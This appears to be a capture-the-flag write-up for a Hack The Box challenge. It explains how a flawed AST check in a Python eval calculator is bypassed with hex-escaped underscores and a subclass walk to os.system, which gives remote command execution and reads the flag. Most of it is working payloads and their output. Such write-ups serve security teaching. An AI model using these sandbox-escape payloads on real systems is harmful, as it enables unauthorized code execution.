Tree of Danger

7 minutes to read

We are given the Python source code that is being run by the remote instance (util.py):

#!/usr/bin/env python3.10

import ast
import math
from typing import Union


def is_expression_safe(node: Union[ast.Expression, ast.AST]) -> bool:
    match type(node):
        case ast.Constant:
            return True
        case ast.List | ast.Tuple | ast.Set:
            return is_sequence_safe(node)
        case ast.Dict:
            return is_dict_safe(node)
        case ast.Name:
            return node.id == "math" and isinstance(node.ctx, ast.Load)
        case ast.UnaryOp:
            return is_expression_safe(node.operand)
        case ast.BinOp:
            return is_expression_safe(node.left) and is_expression_safe(node.right)
        case ast.Call:
            return is_call_safe(node)
        case ast.Attribute:
            return is_expression_safe(node.value)
        case _:
            return False


def is_sequence_safe(node: Union[ast.List, ast.Tuple, ast.Set]):
    return all(map(is_expression_safe, node.elts))


def is_dict_safe(node: ast.Dict) -> bool:
    for k, v in zip(node.keys, node.values):
        if not is_expression_safe(k) and is_expression_safe(v):
            return False
    return True


def is_call_safe(node: ast.Call) -> bool:
    if not is_expression_safe(node.func):
        return False
    if not all(map(is_expression_safe, node.args)):
        return False
    if node.keywords:
        return False
    return True


def is_safe(expr: str) -> bool:
    for bad in ['_']:
        if bad in expr:
            # Just in case!
            return False
    return is_expression_safe(ast.parse(expr, mode='eval').body)


if __name__ == "__main__":
    print("Welcome to SafetyCalc (tm)!\n"
          "Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc")
    while True:
        ex = input("> ")
        if is_safe(ex):
            try:
                print(eval(ex, {'math': math, '__builtins__': {}, 'getattr': getattr}, {}))
            except Exception as e:
                print(f"Something bad happened! {e}")
        else:
            print("Unsafe command detected! The snake approaches...")
            exit(-1)

Basically, we have to enter an input (ex) and if it is considered safe (is_safe), it will be passed to eval. However, we only have math module, getattr function and no built-in functions. The objective of this challenge is to somehow execute Python code and read the flag from the file system.

We can see what getattr is for:

$ python3 -q
>>> help(getattr)
Help on built-in function getattr in module builtins:

getattr(...)
    getattr(object, name[, default]) -> value

    Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.
    When a default argument is given, it is returned when the attribute doesn't
    exist; without it, an exception is raised in that case.

The function is_safe checks if our payload contains underscores (_). If not, then it checks the Abstract Symbol Tree (AST). There are some functions that are involved in the AST validation. In summary:

Constants are allowed
list, tuple and set are allowed as long as their contents are allowed (is_sequence_safe)
dict is allowed as long as its keys and values are allowed (is_dict_safe)
Functions are safe as long as if belongs to math module

Actually, there is an error on is_dict_safe (yes, the above summary is wrong):

def is_dict_safe(node: ast.Dict) -> bool:
    for k, v in zip(node.keys, node.values):
        if not is_expression_safe(k) and is_expression_safe(v):
            return False
    return True

In fact, the dict is safe if the key is safe, no matter the value. Let’s test it:

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> getattr()
Unsafe command detected! The snake approaches...

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr()}
Something bad happened! getattr expected at least 2 arguments, got 0

Can you spot the differences? We can’t execute getattr directly, but as a value of a dict.

Let’s start playing a bit with some payloads. We will use HackTricks to learn a bit of Python sandbox escaping techniques. For example, it is trivial to bypass the underscore check using \x5f (hexadecimal representation):

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(math, '\x5f\x5fclass\x5f\x5f')}
{1: <class 'module'>}

We will need to find the some module that can lead to code execution (for example, os). According to HackTricks, we need to enumerate the subclasses of a built-in object using this payload:

().__class__.__base__.__subclasses__()

But we need to adapt it to our situation:

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()}
{1: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib._abc.Loader'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'ast.AST'>, <class 'ast.NodeVisitor'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing._TypeVarLike'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.NewType'>, <class 'typing.io'>, <class 'typing.re'>]}

The os module can be found at index 137:

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[137]}
{1: <class 'os._wrap_close'>}

At this point, we can use the following payload:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

Basically, call (<class 'os._wrap_close'>).__init__.__globals__['system']('ls'). Adapted to our situation:

$ python3 util.py
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[137], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('whoami')}
rocky
{1: 0}

Alright, let’s try it on the remote instance:

$ nc 64.227.43.55 30570
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[137], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('whoami')}
Something bad happened! 'wrapper_descriptor' object has no attribute '__globals__'
> ^C

It seems that it is not working. Curiously, if we enumerate the subclasses again, we will see that os is at index 138. Hence, we only need to update this value and we have Remote Code Execution to capture the flag:

$ nc 64.227.43.55 30570
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[138]}
{1: <class 'os._wrap_close'>}
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[138], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('whoami')}
ctf
{1: 0}
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[138], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('ls')}
app
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
{1: 0}
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[138], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('cat flag.txt')}
HTB{45ts_are_pretty_c00l!!!}
{1: 0}